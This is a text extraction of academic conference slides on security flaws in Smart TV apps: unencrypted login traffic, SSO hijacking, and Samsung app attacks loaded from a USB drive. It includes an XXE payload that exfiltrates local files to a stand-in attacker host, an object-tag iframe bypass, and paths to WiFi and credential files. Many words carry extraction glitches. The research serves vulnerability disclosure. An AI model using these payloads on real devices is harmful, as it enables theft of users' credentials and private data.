not so smart on smart tv apps
play

Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj - PowerPoint PPT Presentation

Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj Somorvsky, Chris;an Mainka, Jrg Schwenk {firstname.lastname}@rub.de Ruhr University Bochum &


  1. Not ¡so ¡Smart: ¡On ¡Smart ¡TV ¡Apps ¡ ¡ Marcus ¡Niemietz , ¡Juraj ¡Somorvsky, ¡Chris;an ¡ Mainka, ¡Jörg ¡Schwenk ¡ {firstname.lastname}@rub.de ¡ ¡ Ruhr ¡University ¡Bochum ¡& ¡3curity ¡GmbH ¡

  2. Table ¡of ¡Contents ¡ • Horst ¡Görtz ¡Ins;tute ¡for ¡IT ¡security ¡ • 3curity ¡GmbH: ¡Trainings, ¡Pentests ¡ • German ¡book ¡about ¡UI ¡redressing ¡ • Speaker ¡at ¡ ¡Black ¡Hat, ¡BlueHat, ¡ ¡ PHDays, ¡Zeronights, ¡OWASP, ¡... ¡ • TwiXer: ¡@mniemietz ¡ • mail@mniemietz.de ¡

  3. Table ¡of ¡Contents ¡ 1. Introduc;on ¡& ¡Generaliza;on ¡ 2. Tested ¡Devices ¡ 3. AXacker ¡Model ¡ 4. Eavesdropping ¡AXtacks ¡ 5. Samsung: ¡AXached ¡Storage ¡and ¡Web ¡AXacks ¡ 6. Conclusions ¡

  4. 1. ¡Introduc;on ¡& ¡ ¡ Generaliza;on ¡

  5. Introduc;on ¡ • “Years” ¡ago: ¡ ¡TVs ¡were ¡a ¡medium ¡to ¡watch ¡ news, ¡broadcasts, ¡documentaries, ¡or ¡ blockbusters ¡ • Smart ¡TV: ¡ TV ¡+ ¡computer ¡with ¡Internet ¡connec;on ¡

  6. Introduc;on ¡ • Smart ¡TV ¡apps ¡ – Social ¡networks ¡like ¡Facebook ¡ – Streaming ¡services ¡like ¡Nealix ¡or ¡Watchever ¡ – Games ¡like ¡Angry ¡Birds ¡ – Browsing ¡websites ¡

  7. Generaliza;on ¡ • Can ¡be ¡also ¡applied ¡to ¡different ¡scenarios ¡ beyond ¡Smart ¡TVs ¡ – Internet ¡connec;on ¡ – App ¡rendering ¡engine(s) ¡(e.g., ¡from ¡a ¡browser) ¡ – Installed ¡aXacker’s ¡app ¡ • „Internet ¡of ¡Things“ ¡is ¡nearly ¡everywhere ¡

  8. 2. ¡Tested ¡Devices ¡

  9. Tested ¡Devices ¡

  10. 3. ¡AXacker ¡Model ¡

  11. AXacker ¡Model ¡ • Eavesdropper ¡ – Sniffing ¡HTTP ¡traffic ¡ • AXached ¡Storage ¡AXacker ¡ – For ¡example ¡a ¡USB ¡flash ¡drive ¡ • Malware ¡AXacker ¡ – Device’s ¡app ¡store ¡or ¡aXacker ¡controlled ¡website ¡

  12. 4. ¡Eavesdropping ¡AXacks ¡

  13. Eavesdropping ¡AXtacks ¡

  14. Vulnerable ¡Login ¡Apps ¡ • Samsung ¡ – 25 ¡pre-­‑installed ¡ (WATCHEVER ¡v2.200, ¡ImmoScout24 ¡v1.010) ¡ – 31 ¡app ¡store ¡ ¡ (NewMoove ¡v2.2003, ¡Putpat ¡TV ¡v2.504) ¡ • Grundig ¡ – ¡34 ¡apps: ¡Facebook, ¡Ebay, ¡and ¡Viewster ¡ • Apple: ¡WATCHEVER, ¡Google ¡& ¡Amazon: ¡0 ¡

  15. ¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡ Wireshark ¡logs ¡ DeepSec ¡DEMO ¡

  16. ¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

  17. VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

  18. VEVO ¡App: ¡Market ¡Research ¡Traffic ¡ • „ScorecardResearch ¡... ¡market ¡research ¡ community, ¡a ¡leading ¡global ¡market ¡research ¡ effort ¡that ¡studies ¡and ¡reports ¡on ¡Internet ¡ trends ¡and ¡behavior. ¡ScorecardResearch ¡ conducts ¡research ¡by ¡collec;ng ¡Internet ¡web ¡ browsing ¡data ¡and ¡then ¡uses ¡that ¡data ¡to ¡help ¡ show ¡how ¡people ¡use ¡the ¡Internet, ¡what ¡they ¡ like ¡about ¡it, ¡and ¡what ¡they ¡don’t.“ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ Source: ¡www.scorecardresearch.com ¡

  19. Samsung ¡SSO ¡

  20. ¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡ • Access ¡to ¡ – Samsung ¡GALAXY ¡Apps ¡ – Samsung ¡Link ¡ – Find ¡My ¡Mobile ¡ – Smart ¡Appliance ¡ – Samsung ¡e-­‑Store ¡ – PEN.UP ¡ – Samsung ¡Wallet, ¡S ¡Health, ¡Samsung ¡Cloud, ¡... ¡

  21. 5. ¡Samsung: ¡AXached ¡Storage ¡ ¡ and ¡Web ¡AXacks ¡

  22. Samsung ¡Apps ¡ • Basically ¡just ¡a ¡normal ¡website ¡ ¡(HTML5, ¡CSS, ¡JavaScript) ¡ – config.xml – index.html – Op;onal ¡HTML, ¡CSS, ¡JS, ¡etc. ¡ • Can ¡be ¡loaded ¡from ¡a ¡USB ¡device ¡

  23. Samsung ¡Apps ¡ • navigator.userAgent – Mozilla/5.0 ¡(SmartHub;SMART-­‑TV;U;Linux/ SmartTV+2014;Maple2012) ¡AppleWebKit/537.42+ ¡ (KHTML, ¡like ¡Gecko) ¡Smart ¡TV ¡Safari/537.42+ ¡

  24. Samsung ¡Apps ¡ • document.location – file:///dtv/usb/sda1/UIR6_0.100_Europe_20150309/ index.html?country=D&language=17&lang=en-­‑ GB&modelid=14_X14_2D&server=opera;on&remoco n=0_650_259_22&area=PANEURO&product=0&mgrv er=6.1571& ssoid=foobar@example.org & ssopw=secr et &authtoken= MORE-­‑STUFF &all_ar;st=jennifer-­‑ lopez&x_ar;st=&video_content_type=vevotv&ns_st_ pr=Top10Now&realmodel=UE22H5600&networktype =0 ¡

  25. Samsung ¡App ¡Bypass ¡ • <iframe> ¡ is ¡not ¡supported ¡in ¡the ¡app ¡context ¡ – Security ¡reasons? ¡ – Any ¡ideas ¡for ¡a ¡bypass? ¡

  26. Samsung ¡App ¡Bypass ¡ • <iframe> ¡ is ¡not ¡supported ¡in ¡the ¡app ¡context ¡ • Thank ¡you ¡HTML! <object class= "iframelook" type="text/html" data="http:// www.attackers.org/tv" style="width: 100%; height:100%“>

  27. Samsung ¡File ¡Browser ¡via ¡our ¡App ¡

  28. Directory ¡lis;ng: ¡ file:///

  29. App ¡Install ¡ • AXack ¡via ¡USB ¡flash ¡drive ¡ – XML ¡External ¡En;ty: ¡ Read ¡files ¡with ¡ one ¡line ¡automa;cally ¡ • /dtv/cm_version_name ¡ • /mtd_chmap/opera;ng_account_data ¡ – XMLHXpRequest: ¡ Read ¡ all ¡files ¡ by ¡ac;va;ng ¡the ¡app ¡ • /mtd_chmap/network/wpa_sta.conf ¡ • /mtd_pers/cookies ¡(FB ¡sends ¡data ¡to ¡South ¡Korea?) ¡

  30. XXE ¡ • Config.xml ¡ <?xml ¡version="1.0" ¡encoding="UTF-­‑8"?> ¡ <!DOCTYPE ¡rooXag ¡[ ¡ <!ENTITY ¡% ¡ext ¡SYSTEM ¡"file:///mtd_chmap/…"> ¡ <!ENTITY ¡% ¡dtd ¡SYSTEM ¡"file:///dtv/usb/sda1/XXE/ aXacker.xml"> ¡ ¡ ¡ %dtd; ¡ ]> ¡ <widget ¡xmlns="hXp://www.samsung.com/"> ¡… ¡ • A,acker.xml ¡ <!ENTITY ¡% ¡all ¡"<!ENTITY ¡send ¡SYSTEM ¡'hXp:// www.aXacker.com/tv/?%ext;'>"> ¡ %all ¡

  31. file:// • App ¡can ¡“access” ¡all ¡(?) ¡files ¡ – Wifi ¡data ¡(incl. ¡password) ¡ – Apps ¡Cookies ¡ ¡ – Local ¡Storage ¡(ZaXoo: ¡login ¡data) ¡ – SSO ¡username ¡ (one ¡line) ¡ – Browser ¡history ¡ – Common ¡user ¡inputs ¡ • FB ¡and ¡Samsung-­‑SSO ¡username/password ¡ – Par;al ¡webcam ¡access ¡

  32. file:// & OAuth ¡ • OAuth ¡is ¡not ¡to ¡log ¡in ¡the ¡user ¡into ¡an ¡applica;on, ¡ but ¡to ¡grant ¡access ¡rights ¡on ¡specific ¡resources ¡to ¡ it ¡ • We ¡have ¡Samsung‘s ¡Facebook ¡Connect ¡ API-­‑Key ¡ and ¡ apiSecret ¡ – We ¡can ¡make ¡a ¡spoofed ¡client ¡ – We ¡cannot ¡get ¡user ¡creden;als ¡ • Proof? ¡

  33. file:// & OAuth ¡ • Only ¡at ¡the ¡conference, ¡sorry! ¡

  34. file:// & OAuth ¡

  35. file:// & OAuth ¡

  36. Just ¡saying ¡... ¡ • A ¡never ¡ending ¡story? ¡ – Leaking ¡data ¡is ¡not ¡new ¡ • Samsung ¡SmartTV ¡customers ¡warned ¡personal ¡ conversa;ons ¡may ¡be ¡recorded ¡(hXp://is.gd/Wxq2oy) ¡ • Read ¡It ¡Twice! ¡A ¡mass-­‑storage-­‑based ¡TOCTTOU ¡aXack ¡ (hXp://is.gd/VLC0yE) ¡ – Leaking ¡creden;als ¡without ¡any ¡aXack ¡is ¡new ¡

  37. Just ¡saying ¡... ¡ • Our ¡research ¡was ¡covered ¡by ¡the ¡German ¡ media ¡(Heise, ¡Golem, ¡WDR, ¡and ¡ORF) ¡ – What ¡happens? ¡ • Consumer ¡advice ¡centre ¡of ¡NRW ¡(Germany) ¡ hXps://www.vz-­‑nrw.de/klage-­‑gegen-­‑samsung ¡

  38. Samsung ¡Smart ¡TV ¡Bug ¡Bounty ¡

  39. Samsung ¡TV ¡Bounty ¡ • �“The ¡bugs ¡that ¡are ¡eligible ¡will ¡be ¡payed ¡ according ¡to ¡the ¡site ¡policy: ¡ – we ¡reward ¡only ¡unknown ¡and ¡unreported ¡issues ¡ on ¡TV/Blueray ¡models ¡from ¡E-­‑Series ¡and ¡above ¡ (2012 ¡to ¡2015). ¡ – you ¡agree ¡not ¡to ¡disclose ¡the ¡vulnerabili;es ¡to ¡3rd ¡ par;es ¡without ¡our ¡agreement ¡(we ¡can ¡agree ¡on ¡a ¡ publica;on ¡date ¡axer ¡the ¡security ¡patches ¡are ¡ deployed)“ ¡

  40. 6. ¡Conclusions ¡

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend